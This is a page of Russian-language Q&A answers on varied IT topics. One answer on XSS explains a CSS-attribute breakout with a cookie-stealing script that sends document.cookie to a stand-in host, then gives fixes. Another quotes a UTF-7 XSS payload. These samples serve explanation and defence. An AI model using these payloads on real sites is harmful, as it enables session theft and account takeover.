Задать вопрос
  • Как работают видеоредакторы?

    nidalee
    @nidalee
    Зависит от кодека. В целом, да: видео - всего лишь слайдшоу. С большой частотой кадров.
    Видео даже можно просчитать в последовательность изображений в большинстве редакторов. И потом так же импортировать обратно в него.
    Вопреки некоторым мнениям, прямой зависимости кодека (а соответственно размера файла) от расширения (будь то avi, mp4 или mov) нет. Расширение связано с контейнером, который сам по себе - всего лишь компиляция звукового и видео -файлов. Можно переименовать тот же mp4 в avi - во многих плеерах он все равно будет открываться.
    Что касается кодеков, то тут уже кто во что горазд. Их много, и про все рассказывать просто долго. Если очень грубо: видеофайлы получаются разными по качеству и объёму как раз из-за кодеков. Они разделяют каждый кадр на N количество частей, плюс разделяют их в... 4 измерении - времени (На самом деле в 3-х, ведь у видео нет глубины, ну да ладно). Допустим, на отрезки GOP по 25 кадров (про них можно почитать здесь).
    Если в квадрате N1 ничего за 25 кадров не изменилось, то он остается, новый не пишется - уменьшается размер файла. Если изменилось - там уже возможны варианты. Наглядно, так делит на квадраты H264 и H265. Вот еще страшные картинки. Из-за этих же квадратов чересчур пережатое видео рассыпается на квадраты - они просто начинают слишком сильно отличаться от соседей, теряются градиенты и тому подобное. И из-за этих же квадратов не советуют пережимать видеофайлы в lossy-кодеки, вообще. Потому что качество в любом случае станет хуже, ведь уже сжатое сжимается опять.
    Что касается камер - тут уже понятия не имею, как и что они делают, чтобы сделать кадр, а из набора кадров - видео. :)
    Ответ написан
    Комментировать
  • Как установить windows 8.1?

    oia
    @oia
    Да это же просто дос загрузка, создай rufus.akeo.ie флешку и укажи путь к Исо образу винды
    Ответ написан
    2 комментария
  • Microsoft вводит "песочницу" для потенциально опасных приложений в Windows 10. Усилит ли это безопасность ОС и насколько?

    Stalker_RED
    @Stalker_RED
    По описанию похоже на sandboxie. Защита не 100%, но сильно лучше, чем ничего.

    Ну и главная проблема остается: опасное приложение показывает табличку с надписью "ваш антивирус мешает рабооте этого чудесного редактора рингтонов" и юзеры радостно все отключают.
    Ответ написан
    1 комментарий
  • Почему не возможно дозвониться до некоторых мобильных номеров?

    k3NGuru
    @k3NGuru Автор вопроса
    Сис.админ.КО., подающий надежды кодер :)
    Wireshark вообще сказал, что нет SIP соединений :) зато доблестный Syslog сообщил много интересностей. Ответ от ТП Eltex:
    *******************************************
    Ясно судя по логу, происходит следующее:
    -мы отдаем INVITE с тегом Supported: 100rel, в этом случае взаимодействующий шлюз по своему усмотрению может передавать предварительные ответы либо надежно, либо нет;
    -взаимодействующий шлюз(%SIP_SERVER%) выбирает передавать предварительные ответы надежно, т.к в сообщении 183 присутствует тег Require: 100rel
    -получив это сообщение, тау соответственно его подтверждает сообщением PRACK
    -на которое затем ругается SIP провайдер сообщением 481 Call Leg/Transaction Does Not Exis
    -и затем мы(тау) отбиваем вызов.

    Варианты решения:
    1) (НЕ РЕКОМЕНДУЕТСЯ)В настройках SIP профиля изменить опцию "100rel" в положение off. Тогда мы не будем передавать в INVITE тег Supported: 100rel и данная цепочка не повториться. Но тогда при поступлении входящего вызова с тегом Supported: 100rel или Require: 100rel
    тау будет ругаться сообщением 420.

    2)(РЕКОМЕНДУЕТСЯ) Узнайте у вашего SIP провайдера: "почему он сначала передает 183 с Require: 100rel, а затем ругается на наше подтверждение PRACK? ведь он сам говорит, что мол я поддерживаю подтверждение, поэтому тау и передает PRACK."
    Если SIP сервер не поддерживает подтверждение предварительных ответов (RFC 3262), то он не должен передавать Require: 100rel в 183 сообщении.
    *******************************************

    Сделал по первому варианту, все заработало. У провайдера так и не получилось, что-либо выяснить.
    Ответ написан
    Комментировать
  • Как выдавать DHCP только указанным клиентам?

    Veneomin
    @Veneomin Автор вопроса
    Разобрался. Оказывается в статическом биндинге можно указать вместо конкретного IP адреса целый пул если он уже создан.
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @Mercury13
    Программист на «си с крестами» и не только
    Совет несколько устаревший, и вот он для чего.
    Есть откровенно странная кодировка под названием UTF-7, которую по-чёрному использовали для XSS. Например:
    +ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4-


    Задачей хакера было заставить браузер верить, что текст в UTF-7, прежде чем в HTML’е придёт маркер кодировки.
    IE11 поддерживал UTF-7, поддерживает ли Edge — не в курсе. Остальные браузеры отказались лет десять назад.

    Подробнее:
    https://nedbatchelder.com/blog/200704/xss_with_utf...

    Ну и будет просто некрасиво, если пользовательские данные появляются до маркера кодировки и браузер эту самую кодировку неверно опознал. Но хоть XSS не будет ни в одной кодировке, основанной на ASCII.
    Ответ написан
    3 комментария
  • Как просмотреть трассировку письма, которое не дошло на почту?

    @922j
    У вас переадресация через Yandex Mail? Проверяйте в тамошних ящиках.
    Ответ написан
    Комментировать
  • Не могу удалить папку владельцем которой являюсь?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Для удаления файла или каталога надо иметь полные права в родительском каталоге.
    Права на каталог дают разрешения делать что-либо внутри каталога, но не с ним самим.
    Ответ написан
    3 комментария
  • Не могу удалить папку владельцем которой являюсь?

    @Hanharr
    Если вы в каталоге пользователя A (/home/A) создаете от рута подкаталог fff. Затем, выполняете
    sudo chmod 0700 /home/A/fff
    sudo chown A:A /home/A/fff

    И, теперь вы сможете из под пользователя A без рут прав удалить подкаталог fff. Т.е. чтобы удалить подкаталог, вы также должны быть владельцем каталога. Либо, входить в группу, которая имеет права rwx в каталоге.
    Ответ написан
    Комментировать
  • Почему скорость соединения уменьшается на 5%?

    iperf показывает не скорость линка, а скорость передачи данных, т.е. полезной нагрузки.

    Вычтите из размера MTU Ethernet, IP и UDP/TCP заголовки, поделите на MTU, и получится "КПД" линка. В вашем случае это как раз около 95%.
    Ответ написан
    8 комментариев
  • Есть ли программа или онлайн сервис для мониторинга МОИХ прокси?

    @pfg21
    ex-турист
    скриптик с набором
    curl --proxy 11.22.33.44:5555 -U username:password check-host.net/ip
    если выдает не циферки или curl возвращает не ноль то значит не работат.
    Ответ написан
    Комментировать
  • Как в GRUB указать, что грузить ядро нужно с вебсервера?

    martin74ua
    @martin74ua Куратор тега Linux
    Linux administrator
    в грубе - никак.

    Вы скорее всего про https://ipxe.org/ спрашиваете.
    Ответ написан
    Комментировать
  • Как создать безупречный биометрический тест?

    Sanasol
    @Sanasol
    нельзя просто так взять и загуглить ошибку
    Сложностей не боимся.

    а чо бояться, на тостере же дадут готовое решение сразу))

    Оставляю за Вами право считать заказчика сумасшедшим, у которого есть лишние деньги на разработку.

    почему бы не устроить конкурс со стимулирующей наградой?

    Вопрос не такой простой чтоб сесть и на коленке накидать и/или тем более рассказывать бесплатно решение какое-то уникальное.
    Ответ написан
    2 комментария
  • Откуда появился исходящий 2ТБ трафик за несколько часов?

    @Mysterion
    Не реклама, но очень похоже на этот случай.
    ряд клиентов были взломаны и их серверы и VPS стали частью ботнета, который одновременно начал генерировать гигабиты исходящего трафика, чем вызвал перегрузку сетевого оборудования. Несколько часов ушло только на то, чтобы определить зараженные серверы и остановить их работу. Как мне известно, с такой проблемой столкнулись и другие провайдеры

    UPDATE: У одного из наших клиентов было похожее. Внезапно вырос исходящий SYN-трафик.
    Ответ написан
    Комментировать
  • Порекомендуйте компанию/сервис, предлагающий почтовый сервер для своего домена с высокой надежностью?

    CityCat4
    @CityCat4 Куратор тега Электронная почта
    Дома с переломом ноги
    У Вас слишком большая вилка между требованиями и бюджетом. Те, кому нужен SLA, персональный менеджер и все такое, обычно не заморачиваются по вопросу "сколько это стоит" - потому что на некотором уровне цена перестает иметь значение от слова совсем. Те, кто считает деньги, обычно не заморачиваются на SLA.

    Наймите админа и поставьте свой почтовик. Если не зайдет, то хотя бы поймете, за что берут деньги :)
    Ответ написан
    Комментировать
  • Какой выбрать программный роутер?

    Jump
    @Jump
    Системный администратор со стажем.
    2 комментария
  • Какой выбрать программный роутер?

    ky0
    @ky0
    Миллиардер, филантроп, патологический лгун
    iptables + вебморда консоли.
    Ответ написан
    Комментировать
  • Исполнителю не нужно ТЗ. Это нормально?

    iamd503
    @iamd503
    Верстальщик
    Т.е. они могут что то не сделать, а потом сказать, ну вы об этом не говорили. И будут правы, а потом конечно доделать это за дополнительную плату. Классика.

    PS: я бы к ним не обратился.
    Ответ написан
    1 комментарий
  • Как можно проследить историю электронного письма?

    martin74ua
    @martin74ua Куратор тега Системное администрирование
    Linux administrator
    подписывайте письма pgp подписью. Оно специально для этого и придумывалось.

    Тетя Катя пишет письмо, вкладывает файл, подписывает. Тетя Ира может переслать письмо только целиком, не меняя - при любом изменении подпись не верифицируется и соответственно доверия к такому письму уже нет.
    Ответ написан
    Комментировать